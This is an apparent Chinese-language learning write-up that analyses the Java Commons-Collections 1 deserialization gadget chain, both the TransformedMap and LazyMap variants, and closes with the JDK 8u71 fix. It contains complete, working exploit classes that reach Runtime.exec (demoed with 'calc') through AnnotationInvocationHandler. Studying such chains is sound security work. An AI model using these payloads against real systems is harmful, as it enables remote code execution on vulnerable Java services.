Java_Commons-Collections 1 (CC1) 学习过程
Java_Commons-Collections 1 学习过程
环境配置
环境配置
Maven 3.8.1
配置过程
新建一个项目然后将JDK换成8u65
然后再pom里添加依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
然后import 一下cc的包成功就是配置好了
import org.apache.commons.collections.functors.InvokerTransformer;
然后我们还要做一件事,修改 sun 包。
因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。
openJDK 8u65 ———— 去到这个下载链接,点击 zip
下载完后解压然后再把8u65里的src.zip解压然后将jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes路径下的sun文件夹放在8u65里的src中
然后再把这个src导入到idea中
注:可能会遇到乱七八糟的报错,可以查查,我中间遇到一直无法找到类最后把所有路径都不包含中文就好了
Common-Collections 相关介绍
闪烁之狐大佬说的很清楚
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta
项目。Commons
的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper
(是一些已发布的项目)、Sandbox
(是一些正在开发的项目)和Dormant
(是一些刚启动或者已经停止维护的项目)。
简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的
Collections API
提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。
包结构介绍
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag
– 实现Bag接口的一组类org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer
– 实现Buffer接口的一组类org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list
– 实现java.util.List接口的一组类org.apache.commons.collections.map
– 实现Map系列接口的一组类org.apache.commons.collections.set
– 实现Set系列接口的一组类
TransformMap版CC1攻击链分析
我的习惯看反序列化就是从尾部开始看然后向前推,这样感觉更有思路一点
CC1链子的源头就是CC库中的Transformer
接口里面有个transform
方法,通过实现此接口来达到类型转换的目的
crtl+alt+b找到InvokerTransformer
类,就是我们最终执行命令的地方
第一部分
可以看到这里的transform
方法存在反射调用任意的方法并且执行
先不考虑参数是否可控,先试试假如可控是否能达到我们的目的,编写一个小demo
package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
Class cls = runtime.getClass();
// System.out.println(cls.getName());
Method method = cls.getMethod("exec", String.class);
method.invoke(runtime, "calc.exe");
}
}
发现雀实可以弹出计算器
可以发现通过该类的构造函数就可以控制参数了
父类方法就是接受一个输入,所以我们就利用有参构造函数来构造EXP
因为是public
所以用不到反射
package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}
写好所需要的参数,然后再触发方法
这样链子的尾部就找好了,然后一层一层向上找,找到谁调用了transformer
方法,一直找到可以重写的readObject
方法接收任意对象作为参数
右键查找用法
第二部分
这里有两个类对应着两种CC1的打法,先看看TransformedMap
其中 TransformedMap
类中存在 checkSetValue()
方法调用了 transform()
方法。
看看这个valueTransformer
是怎么个事
源赖似小TransformedMap
的构造函数,但是它是protected
类型的我们动不了它
但是向上翻翻发现有个decorate
静态方法中给我们返回了TransformedMap
对象
到这我们延长我们写的链子试试
package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
Method method = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(transformedMap,runtime);
}
}
手写链子能让链子构造的思路更清晰一点
思路:
通过decorate
方法获得TransformedMap
的实例,然后再通过反射获取到checkSetValue
方法最终调用到了transform
方法
其中讲valueTransformer
赋值我们构造的InvokerTransformer
实例就相当于最终构造出了InvokerTransformer.tansform
然后老样子继续查找用法看看谁调用checkSetValue
发现只有 AbstractInputCheckedMapDecorator
调用了checkSetValue
。而且它是 TransformedMap
的父类
setValue()
实际上就是在 Map 中对一组 entry(键值对)进行 setValue()
操作。
一直往上跟可以跟到这个位置
所以,我们在进行 .decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
编写一下poc试试
package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
map.put("nbc","nbc");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
// Method method = transformedMap.getClass().getDeclaredMethod("checkSetValue", Object.class);
// method.setAccessible(true);
// method.invoke(transformedMap,runtime);
}
}
发现这样是错的
因为是对Map遍历,而decorate
也是Map类型的
所以我们的Poc是可以改出来的
package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
map.put("nbc","nbc");//给map一个键值对,方便遍历
// TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:decorateTransformed.entrySet()){
entry.setValue(runtime);
}
}
}
注:Map<Object, Object>是为了与返回的对象类型匹配
打个断点看看是不是跳进来了
发现是没错的
思路是:
流程就是我们遍历 transformedmap
的时候用的是 entrySet()
, 来自于 transformedmap
父类的 entrySet() ,然后就会进入其父类的副类 MapEntry 下的 构造方法,使每个 entry 这里就是 “nbc”->“nbc” 进入 AbstractMapEntryDecorator
的构造方法也就是 MapEntry
的父类,AbstractMapEntryDecorator
又引入了 Map.Entry
接口,所以可以通过遍历调用 setValue
方法,恰巧 MapEntry
重写了这个方法。而这个重写的方法正好调用了 checkSetValue
。
形成闭环
到此处,我们的攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue
方法,即可构造 poc。
就是如何遍历一个Map最终执行 setValue()
方法
如果能找到一个 readObject()
里面调用了 setValue()
那就是很巧又完美
上面都巧这也可以巧
第三部分
这可以说是很重要的一部了,好把没有不重要的就是找readObject
入口
右键setValue
查找用法
找到了并且调用了setValue
方法
readObject
的方法是类 AnnotationInvocationHandler
的,AnnotationInvocationHandler
的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。
我们先不管这个setValue
怎么长的不是很友善,这两个if是干什么的,我们就假设在处于理想状态然后先写一个理想化的poc然后慢慢改
AnnotationInvocationHandler
的构造函数
接受一个注解型的,第二个是个 Map 型的,而且这个 memberValues
会被拿去遍历
package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map map = new HashMap<>();
map.put("nbc","nbc");
// TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(map, null,invokerTransformer);
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, decorateTransformed);
// for (Map.Entry entry:decorateTransformed.entrySet()){
// entry.setValue(runtime);
// }
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
三个问题
当然是没有任何反应的,因为还有三个条件我们忽略了
Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。
解决两个 if 判断
setValue()
的传参,是需要传 Runtime对象的;而在实际情况当中的setValue()
的传参是这一坨
第一个问题
解决Runtime对象不可序列化
运用反射
先写个正常的反射
package org.cc1.com;
import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class RuntimeTestExp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class r = Runtime.class;
Method runtimeMethod = r.getMethod("getRuntime");
Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
Method method = r.getMethod("exec", String.class);
method.invoke(runtime,"calc");
}
}
然后就突然想起来我们最开始的时候InvokerTransformer
不是带反射,那么我们就可以构造成InvokerTransformer
调用的方式
就是这样
package org.cc1.com;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class RuntimeTestExp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class r = Runtime.class;
// Method runtimeMethod = r.getMethod("getRuntime");
// Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
// Method method = r.getMethod("exec", String.class);
// method.invoke(runtime,"calc");
Class r = Runtime.class;
Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}
可以发现个规律
格式都为
new InvokerTransformer().invoke()
后一个
invoke
() 方法里的参数都是前一个的结果
这里正好有个类ChainedTransformer
就是传入的Transformer
类型的数组然后递归调用,然后前一个的结果正好是后一个的参数
按照这个思路构造一下
package org.cc1.com;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.File;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class RuntimeTestExp {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Class r = Runtime.class;
// Method getruntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r);
// Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}
替换掉最开始理想poc的Runtime部分
package org.cc1.com;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class TransformMapExp
{
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
map.put("nbc","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, decorateTransformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
第二个问题
绕过两个 if
第一if
看看这个memberValue
是干什么的
获取传参注解方法,我们没过说明传的那个注解是null
换一个
有成员变量value
而第二个if要求map.put
的第一个参数相等所以改一下
package org.cc1.com;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class TransformMapExp
{
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
map.put("value","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
打个断点看看
过了但是还是不弹计算器
第三个问题
发现 setValue()
处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy
类,是无法进行命令执行的。
value的值不是我们需要的 Runtime.class
我们需要找到一个类,能够可控 setValue 的参数
找到了一个能够解决 setValue可控参数的类 ———— ConstantTransformer
。
构造方法:传入的任何对象都放在 iConstant中
transform()方法:无论传入什么,都返回 iConstant,这就类似于一个常量了。
那么我们可以利用这一点,将 AnnotationTypeMismatchExceptionProxy
类作为 transform()
方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class
,然后无论 transform()
方法会调用什么对象,都会返回 Runtime.class
这点说起来很抽象最好是手动跟一下过程
所以在最后调用.transform的时候,因为ConstantTransformer
的构造变成了Runtime.class
上面还不是Runtime,调用下transform就返回了Runtime了
完事!
最终无敌TransformMapExp
package org.cc1.com;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class TransformMapExp
{
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap<>();
map.put("value","nbc");
Map<Object, Object> decorateTransformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, decorateTransformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
流程图
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
Map
LazyMap版CC1攻击链分析
第一部分
最终执行命令的地方其实是一样的同TransformMap
第二部分
主要还是那个分叉口开始
这次看LazyMap
看看factory
是什么
熟悉的decorate
帮助我们创建一个LazyMap
实例并且控制factory
到这里试试这个想法行不行
package org.cc1.com;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
public class Test {
public static void main(String[] args) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map map = new HashMap<>();
Map decorateLazyMap = LazyMap.decorate(map,invokerTransformer);
decorateLazyMap.get(runtime);
}
}
看来是没问题的那就继续向上找,看看有没有调用get
的时候还有readObject
在AnnotationInvocationHandler.invoke()
中发现了可以满足我们需求
需要触发 invoke
方法,一个类被动态代理了之后,再想要通过代理调用这个类的方法就会调用 invoke()
方法。
在readObject
中发现了
在这里调用了 entrySet()
方法,也就是说,如果我们将 memberValues
的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke()
方法,最终完成整条链子的调用。
我们发现AnnotationInvocationHandler
中实现了InvocationHandler
于是可以使用动态代理的方法
我们如果将AnnotationInvocationHandler
对象用Proxy进行动态代理,那么在readObject
的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler.invoke
方法中,进而触发我们的LazyMap.get
方法
package org.cc1.com;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class LazyMapExp {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class Ann = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = Ann.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建第一个来触发LazyMap.get
InvocationHandler invocationHandler1 = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
//给它设置动态代理
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler1);
//用来触发invoke
InvocationHandler invocationHandler2 = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);
serialize(invocationHandler2);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
流程图
调用链
InvokeTransformer#transform
LazyMap#get
AnnotationInvocationHandler#readObject
辅助链
ChainedTransformer
ConstantTransformer
HashMap
Map(Proxy)#entrySet
修复手段
官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71
对于 TransformerMap 版的 CC1 链子
对于 TransformerMap
版的 CC1 链子来说,jdk8u71 及以后的版本没有了能调用 ReadObject
中 setValue()
方法的地方。
对于LazyMap版的CC1链子
因为在8u71之后的版本反序列化不再通过defaultReadObject
方式,而是通过readFields
来获取几个特定的属性,defaultReadObject
可以恢复对象本身的类属性,比如this.memberValues
就能恢复成我们原本设置的恶意类,但通过readFields
方式,this.memberValues
就为null
,所以后续执行get()
就必然没发触发,这也就是高版本不能使用的原因